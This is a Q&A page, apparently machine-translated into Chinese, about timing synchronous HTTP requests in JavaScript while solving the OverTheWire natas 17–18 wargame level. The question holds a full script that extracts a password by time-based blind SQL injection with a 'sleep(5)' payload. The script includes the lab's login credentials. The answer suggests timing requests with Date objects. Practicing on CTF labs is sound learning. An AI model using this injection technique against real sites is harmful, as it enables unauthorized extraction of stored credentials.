如何测量 JavaScript 中同步 http 请求所用的时间?

How can I measure time taken by a synchronous http request in JavaScript?

所以我正在尝试 natas 级别 17 到 18,我需要暴力破解密码。我需要连续发送 http 请求,并且根据每个请求的响应时间,我可以确定字母是否是密码的一部分。到目前为止,我一直在使用 JavaScript 编写脚本并在控制台上执行它们。我的请求都是同步的,因为我必须等待并暂停脚本的执行,直到我从服务器收到响应。现在,这里的问题是我想测量请求所花费的时间。在 JS 中,有一个超时功能可以让人们这样做,但是不允许同步请求。任何解决方法? 这是我的 JS 代码

let password = "";
let count = 0;
let alphanum = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890";
let alphanumc = alphanum.length;
let passwordc = 32; //assuming password has 32 characters
let fl1=0,fl2=0;
while(count!=passwordc)
{
    fl1=fl2=0;
    console.log(count);
    console.log(password);
    let oldp = password;
    for(let i=0;i<alphanumc;i++)
    {
        password += alphanum[i];
        let xhr = new XMLHttpRequest();
        let url = `http://natas17.natas.labs.overthewire.org/index.php?username=natas18%22+and+password+like+binary+%22${password}%%22+and+sleep(5)#`;
        xhr.open('GET',url,false,"natas17","8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw");

        xhr.onload = function() {
          if (xhr.status != 200) { 
            alert(`Error ${xhr.status}: ${xhr.statusText}`);
          } else { 
            console.log("NO MATCH");
            password = oldp;
            fl2=1;
        }};
            xhr.onerror = function() {
                alert("Request failed");
            };

            xhr.timeout = 4000;
            xhr.ontimeout = function(){
                console.log("FOUND");
                count++;
                fl1=1;
            };

            xhr.send();

            if(fl1==1) break;
            if(fl2==1) continue;
    }
}
console.log(password);      

您应该在请求开始之前获得一个日期,并且应该放置一个日期是某个等待标志或状态更改的循环,日期声明为:

var tmsStart = new Date();
var tmsEnd = new Date();

然后你应该可以算出两者的区别:

const diffTime = Math.abs(tmsEnd - tmsStart); 
console.log(diffTime + " milliseconds");

将检查毫秒放入循环中,如:

if (diffTime >= 4000) {
//Exit loop
break;
}

这是你想要达到的目标吗?